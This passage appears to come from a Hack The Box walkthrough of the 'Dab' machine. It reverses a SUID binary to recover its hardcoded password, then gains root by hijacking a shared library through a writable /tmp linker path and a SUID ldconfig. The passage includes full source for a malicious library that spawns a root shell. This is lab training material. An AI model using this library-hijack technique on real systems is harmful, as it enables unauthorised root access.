[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400740]> afl
0x00400690    3 26           sym._init
0x004006c0    1 6            sym.imp.puts
0x004006d0    1 6            sym.imp.__stack_chk_fail
0x004006e0    1 6            sym.imp.printf
0x004006f0    1 6            sym.imp.seclogin
0x00400700    1 6            sym.imp.__libc_start_main
0x00400710    1 6            sym.imp.strcmp
0x00400720    1 6            sym.imp.__isoc99_scanf
0x00400730    1 6            sub.__gmon_start_730
0x00400740    1 41           entry0
0x00400770    4 50   -> 41   sym.deregister_tm_clones
0x004007b0    4 58   -> 55   sym.register_tm_clones
0x004007f0    3 28           sym.__do_global_dtors_aux
0x00400810    4 38   -> 35   entry1.init
0x00400836    6 173          main
0x004008f0    4 101          sym.__libc_csu_init
0x00400960    1 2            sym.__libc_csu_fini
0x00400964    1 9            sym._fini
[0x00400740]> pdf @ main
/ (fcn) main 173
|   main (int argc, char **argv, char **envp);
|           ; var unsigned int local_64h @ rbp-0x64
|           ; var char *s1 @ rbp-0x60
|           ; var int local_58h @ rbp-0x58
|           ; var char *s2 @ rbp-0x50
|           ; var int canary @ rbp-0x8
|           ; DATA XREF from entry0 (0x40075d)
|           0x00400836      55             push rbp
|           0x00400837      4889e5         mov rbp, rsp
|           0x0040083a      4883ec70       sub rsp, 0x70               ; 'p'
|           0x0040083e      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00400847      488945f8       mov qword [canary], rax
|           0x0040084b      31c0           xor eax, eax
|           0x0040084d      48b873336375.  movabs rax, 0x306c337275633373 ; 's3cur3l0'
|           0x00400857      488945a0       mov qword [s1], rax
|           0x0040085b      c745a867316e.  mov dword [local_58h], 0x6e3167 ; 'g1n'
|           0x00400862      bf74094000     mov edi, str.Enter_password: ; 0x400974 ; "Enter password: " ; const char *format
|           0x00400867      b800000000     mov eax, 0
|           0x0040086c      e86ffeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400871      488d45b0       lea rax, qword [s2]
|           0x00400875      4889c6         mov rsi, rax
|           0x00400878      bf85094000     mov edi, str.63s            ; 0x400985 ; "%63s" ; const char *format
|           0x0040087d      b800000000     mov eax, 0
|           0x00400882      e899feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x00400887      488d55b0       lea rdx, qword [s2]
|           0x0040088b      488d45a0       lea rax, qword [s1]
|           0x0040088f      4889d6         mov rsi, rdx                ; const char *s2
|           0x00400892      4889c7         mov rdi, rax                ; const char *s1
|           0x00400895      e876feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|           0x0040089a      89459c         mov dword [local_64h], eax
|           0x0040089d      837d9c00       cmp dword [local_64h], 0
|       ,=< 0x004008a1      7411           je 0x4008b4
|       |   0x004008a3      bf8a094000     mov edi, str.Invalid_password ; 0x40098a ; "Invalid password\n" ; const char *s
|       |   0x004008a8      e813feffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004008ad      b801000000     mov eax, 1
|      ,==< 0x004008b2      eb19           jmp 0x4008cd
|      ||   ; CODE XREF from main (0x4008a1)
|      |`-> 0x004008b4      bf9c094000     mov edi, str.Password_is_correct ; 0x40099c ; "Password is correct\n" ; const char *s
|      |    0x004008b9      e802feffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x004008be      b800000000     mov eax, 0
|      |    0x004008c3      e828feffff     call sym.imp.seclogin
|      |    0x004008c8      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x4008b2)
|      `--> 0x004008cd      488b4df8       mov rcx, qword [canary]
|           0x004008d1      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x004008da      7405           je 0x4008e1
|       |   0x004008dc      e8effdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x4008da)
|       `-> 0x004008e1      c9             leave
\           0x004008e2      c3             ret
[0x00400740]> 

At first the string "Enter password: " is printed:

|           0x00400862      bf74094000     mov edi, str.Enter_password: ; 0x400974 ; "Enter password: " ; const char *format
|           0x00400867      b800000000     mov eax, 0
|           0x0040086c      e86ffeffff     call sym.imp.printf         ; int printf(const char *format)


Then a string with a maximum length of 63 bytes is read from stdin:

|           0x00400878      bf85094000     mov edi, str.63s            ; 0x400985 ; "%63s" ; const char *format
|           0x0040087d      b800000000     mov eax, 0
|           0x00400882      e899feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)

After this the entered string (stored in s2) is compared to a string stored in s1:

|           0x00400887      488d55b0       lea rdx, qword [s2]
|           0x0040088b      488d45a0       lea rax, qword [s1]
|           0x0040088f      4889d6         mov rsi, rdx                ; const char *s2
|           0x00400892      4889c7         mov rdi, rax                ; const char *s1
|           0x00400895      e876feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)

If the strings are not equal, "Invalid password" is printed:

|       |   0x004008a3      bf8a094000     mov edi, str.Invalid_password ; 0x40098a ; "Invalid password\n" ; const char *s
|       |   0x004008a8      e813feffff     call sym.imp.puts           ; int puts(const char *s)

I

If the strings are equal, "Password is correct" is printed and the function seclogin is called:

|      |`-> 0x004008b4      bf9c094000     mov edi, str.Password_is_correct ; 0x40099c ; "Password is correct\n" ; const char *s
|      |    0x004008b9      e802feffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x004008be      b800000000     mov eax, 0
|      |    0x004008c3      e828feffff     call sym.imp.seclogin

libseclogin.so

The function seclogin is defined in an additional shared library:

genevieve@dab:~$ ldd /usr/bin/myexec 
	linux-vdso.so.1 =>  (0x00007ffc4b767000)
	libseclogin.so => /usr/lib/libseclogin.so (0x00007fa492368000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa491f9e000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fa49256a000)

We download this shared library to our attacker machine, too:

root@kali:~/Documents/htb/boxes/dab# scp genevieve@10.10.10.86:/usr/lib/libseclogin.so .
genevieve@10.10.10.86's password: 
libseclogin.so                                                                                          100% 8120   384.8KB/s   00:00    

And disassemble the function using radare2:

root@kali:~/Documents/htb/boxes/dab# r2 -A libseclogin.so 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x000005a0]> afl
0x00000000    4 67   -> 68   sym.imp.__cxa_finalize
0x00000548    3 26           sym._init
0x00000580    1 6            sym.imp.puts
0x00000590    1 6            sub.__gmon_start_590
0x00000598    1 6            sub.__cxa_finalize_598
0x000005a0    4 50   -> 44   entry0
0x000005e0    4 66   -> 57   sym.register_tm_clones
0x00000630    5 50           sym.__do_global_dtors_aux
0x00000670    4 48   -> 42   entry1.init
0x000006a0    1 35           sym.seclogin
0x000006c4    1 9            sym._fini
[0x000005a0]> pdf @ sym.seclogin 
/ (fcn) sym.seclogin 35
|   sym.seclogin ();
|           0x000006a0      55             push rbp
|           0x000006a1      4889e5         mov rbp, rsp
|           0x000006a4      488d3d250000.  lea rdi, qword str.seclogin___called ; section..rodata ; 0x6d0 ; "seclogin() called" ; const char *s
|           0x000006ab      e8d0feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x000006b0      488d3d310000.  lea rdi, qword str.TODO:_Placeholder_for_now__function_not_implemented_yet ; 0x6e8 ; "TODO: Placeholder for now, function not implemented yet" ; const char *s
|           0x000006b7      e8c4feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x000006bc      b800000000     mov eax, 0
|           0x000006c1      5d             pop rbp
\           0x000006c2      c3             ret

The function merely prints the string "TODO: Placeholder for now, function not implemented yet".

Since the myexec binary has the SUID bit enabled, the function is called with root privileges. If we find a way to replace it with our own code, we get root access.

myexec’s password

At first we need to determine the password, which must be entered to call the function seclogin. This can be done by statically analyzing the disassembly (reversing) or by simply debugging it dynamically setting a breakpoint on the strcmp call. Let’s start with the static approach and review the disassembly of the main function:

|           0x0040084d      48b873336375.  movabs rax, 0x306c337275633373 ; 's3cur3l0'
|           0x00400857      488945a0       mov qword [s1], rax
|           0x0040085b      c745a867316e.  mov dword [local_58h], 0x6e3167 ; 'g1n'

We already know, that the string we enter is stored in s2 and that this string is compared to s1. In the above disassmbly, we see what s1 is set to. The first 8 bytes are set to "s3cur3l0" as radare2 already displays at the right side beneath the movabs instruction. The address local_58h is right behind those 8 bytes, where the additional 3 bytes "g1n" are stored. Thus the whole string stored in s1 simply is: "s3cur3l0g1n".

This was not that complicated, but just for the sake of completeness let’s also do the dynamic approach using gdb. In order to grant gdb access to the shared library we must first set the environment variable LD_LIBRARY_PATH to our current directory, where the shared library is stored:

root@kali:~/Documents/htb/boxes/dab# gdb ./myexec 
GNU gdb (Debian 8.1-4+b1) 8.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./myexec...(no debugging symbols found)...done.
gdb-peda$ set env LD_LIBRARY_PATH .
gdb-peda$ 

Then we can simply set a breakpoint on the call to strcmp, run the program and enter something for the password:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400836 <+0>:	push   rbp
   0x0000000000400837 <+1>:	mov    rbp,rsp
   0x000000000040083a <+4>:	sub    rsp,0x70
   0x000000000040083e <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400847 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040084b <+21>:	xor    eax,eax
   0x000000000040084d <+23>:	movabs rax,0x306c337275633373
   0x0000000000400857 <+33>:	mov    QWORD PTR [rbp-0x60],rax
   0x000000000040085b <+37>:	mov    DWORD PTR [rbp-0x58],0x6e3167
   0x0000000000400862 <+44>:	mov    edi,0x400974
   0x0000000000400867 <+49>:	mov    eax,0x0
   0x000000000040086c <+54>:	call   0x4006e0 <printf@plt>
   0x0000000000400871 <+59>:	lea    rax,[rbp-0x50]
   0x0000000000400875 <+63>:	mov    rsi,rax
   0x0000000000400878 <+66>:	mov    edi,0x400985
   0x000000000040087d <+71>:	mov    eax,0x0
   0x0000000000400882 <+76>:	call   0x400720 <__isoc99_scanf@plt>
   0x0000000000400887 <+81>:	lea    rdx,[rbp-0x50]
   0x000000000040088b <+85>:	lea    rax,[rbp-0x60]
   0x000000000040088f <+89>:	mov    rsi,rdx
   0x0000000000400892 <+92>:	mov    rdi,rax
   0x0000000000400895 <+95>:	call   0x400710 <strcmp@plt>
   0x000000000040089a <+100>:	mov    DWORD PTR [rbp-0x64],eax
   0x000000000040089d <+103>:	cmp    DWORD PTR [rbp-0x64],0x0
   0x00000000004008a1 <+107>:	je     0x4008b4 <main+126>
   0x00000000004008a3 <+109>:	mov    edi,0x40098a
   0x00000000004008a8 <+114>:	call   0x4006c0 <puts@plt>
   0x00000000004008ad <+119>:	mov    eax,0x1
   0x00000000004008b2 <+124>:	jmp    0x4008cd <main+151>
   0x00000000004008b4 <+126>:	mov    edi,0x40099c
   0x00000000004008b9 <+131>:	call   0x4006c0 <puts@plt>
   0x00000000004008be <+136>:	mov    eax,0x0
   0x00000000004008c3 <+141>:	call   0x4006f0 <seclogin@plt>
   0x00000000004008c8 <+146>:	mov    eax,0x0
   0x00000000004008cd <+151>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004008d1 <+155>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004008da <+164>:	je     0x4008e1 <main+171>
   0x00000000004008dc <+166>:	call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004008e1 <+171>:	leave  
   0x00000000004008e2 <+172>:	ret    
End of assembler dump.
gdb-peda$ b *main+95
Breakpoint 1 at 0x400895
gdb-peda$ r
Starting program: /root/Documents/htb/boxes/dab/myexec 
Enter password: test

[----------------------------------registers-----------------------------------]
RAX: 0x7fff8b3fa420 ("s3cur3l0g1n")
RBX: 0x0 
RCX: 0x0 
RDX: 0x7fff8b3fa430 --> 0x74736574 ('test')
RSI: 0x7fff8b3fa430 --> 0x74736574 ('test')
RDI: 0x7fff8b3fa420 ("s3cur3l0g1n")
RBP: 0x7fff8b3fa480 --> 0x4008f0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fff8b3fa410 --> 0x0 
RIP: 0x400895 (<main+95>:	call   0x400710 <strcmp@plt>)
R8 : 0x0 
R9 : 0xa ('\n')
R10: 0x0 
R11: 0x246 
R12: 0x400740 (<_start>:	xor    ebp,ebp)
R13: 0x7fff8b3fa560 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40088b <main+85>:	lea    rax,[rbp-0x60]
   0x40088f <main+89>:	mov    rsi,rdx
   0x400892 <main+92>:	mov    rdi,rax
=> 0x400895 <main+95>:	call   0x400710 <strcmp@plt>
   0x40089a <main+100>:	mov    DWORD PTR [rbp-0x64],eax
   0x40089d <main+103>:	cmp    DWORD PTR [rbp-0x64],0x0
   0x4008a1 <main+107>:	je     0x4008b4 <main+126>
   0x4008a3 <main+109>:	mov    edi,0x40098a
Guessed arguments:
arg[0]: 0x7fff8b3fa420 ("s3cur3l0g1n")
arg[1]: 0x7fff8b3fa430 --> 0x74736574 ('test')
arg[2]: 0x7fff8b3fa430 --> 0x74736574 ('test')
[------------------------------------stack-------------------------------------]
0000| 0x7fff8b3fa410 --> 0x0 
0008| 0x7fff8b3fa418 --> 0x0 
0016| 0x7fff8b3fa420 ("s3cur3l0g1n")
0024| 0x7fff8b3fa428 --> 0x6e3167 ('g1n')
0032| 0x7fff8b3fa430 --> 0x74736574 ('test')
0040| 0x7fff8b3fa438 --> 0x0 
0048| 0x7fff8b3fa440 --> 0x1 
0056| 0x7fff8b3fa448 --> 0x40093d (<__libc_csu_init+77>:	add    rbx,0x1)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400895 in main ()
gdb-peda$ 

As we can see in the arguments, the string which is compared to our input is "s3cur3l0g1n".

Now we can verify the password on the target machine:

genevieve@dab:~$ myexec 
Enter password: s3cur3l0g1n
Password is correct

seclogin() called
TODO: Placeholder for now, function not implemented yet

The password is actually working and the function seclogin is called printing the TODO message.

ldconfig

Our next task is to somehow replace this function with our own one. How can we do this? We have already noticed that the SUID bit of ldconfig is set. Let’s have a look at the manpage of ldconfig:

LDCONFIG(8)                         Linux Programmer's Manual                         LDCONFIG(8)

NAME
       ldconfig - configure dynamic linker run-time bindings

SYNOPSIS
       /sbin/ldconfig [ -nNvXV ] [ -f conf ] [ -C cache ] [ -r root ] directory ...
       /sbin/ldconfig -l [ -v ] library ...
       /sbin/ldconfig -p

DESCRIPTION
       ldconfig  creates  the necessary links and cache to the most recent shared libraries found
       in the directories specified on the command line, in the file /etc/ld.so.conf, and in  the
       trusted  directories,  /lib and /usr/lib (on some 64-bit architectures such as x86-64, lib
       and /usr/lib are the trusted directories for 32-bit libraries, while /lib64 and /usr/lib64
       are used for 64-bit libraries).

...

So ldconfig is actually responsible for determining which shared library is used. The man page also states that the file /etc/ld.so.conf is used to specify directories for shared libraries. Let’s have a look at this file:

genevieve@dab:~$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf

genevieve@dab:~$ ls -al /etc/ld.so.conf.d/*.conf
-rw-rw-r-- 1 root root 38 Nov 24  2014 /etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
-rw-r--r-- 1 root root 44 Jan 27  2016 /etc/ld.so.conf.d/libc.conf
-rw-r--r-- 1 root root  5 Mar 25  2018 /etc/ld.so.conf.d/test.conf
-rw-r--r-- 1 root root 68 Apr 14  2016 /etc/ld.so.conf.d/x86_64-linux-gnu.conf

The file itself only includes all *.conf files within /etc/ld.so.conf.d/. In this directory is a file called test.conf which surely is no default file:

genevieve@dab:~$ cat /etc/ld.so.conf.d/test.conf 
/tmp

The file contains the directory /tmp which means that ldconfig is caching libraries stored in /tmp! Since we can write to /tmp we can store our own shared library there, run ldconfig and then execute myexec again. This time it will load our library and run our own code.

Compile own shared Library

Since gcc is on the target machine, we can compile a shared library directly on it:

genevieve@dab:/tmp/.tmp$ cat libseclogin.c
#include <stdlib.h>
#include <unistd.h>

void seclogin(void) {
  setgid(0);
  setuid(0);
  system("/bin/sh");
}

genevieve@dab:/tmp/.tmp$ gcc -c -fpic libseclogin.c 
genevieve@dab:/tmp/.tmp$ gcc -shared -o libseclogin.so libseclogin.o

The file libseclogin.c only contains the single function seclogin, which calls system to spawn a shell. Beforehand setgid and setuid is called with the argument 0 to set the GID and UID, as we otherwise would only spawn a shell as our current user. This file needs to be compiled as position indepedent code (option -fpic) and then linked to a shared library using the option -shared.

Now we can copy our shared library to /tmp, run ldconfig to cache our library and then run myexec:

genevieve@dab:/tmp/.tmp$ mv libseclogin.so /tmp
genevieve@dab:/tmp/.tmp$ ldconfig
genevieve@dab:/tmp/.tmp$ myexec
Enter password: s3cur3l0g1n
Password is correct

# id
uid=0(root) gid=0(root) groups=0(root),1000(genevieve)
# cat /root/root.txt
45cd...

We successfully spawned a shell as root and can read the flag file root.txt 🙂

That’s it. Thanks for reading the article.

Leave a Reply

Your email address will not be published. Required fields are marked *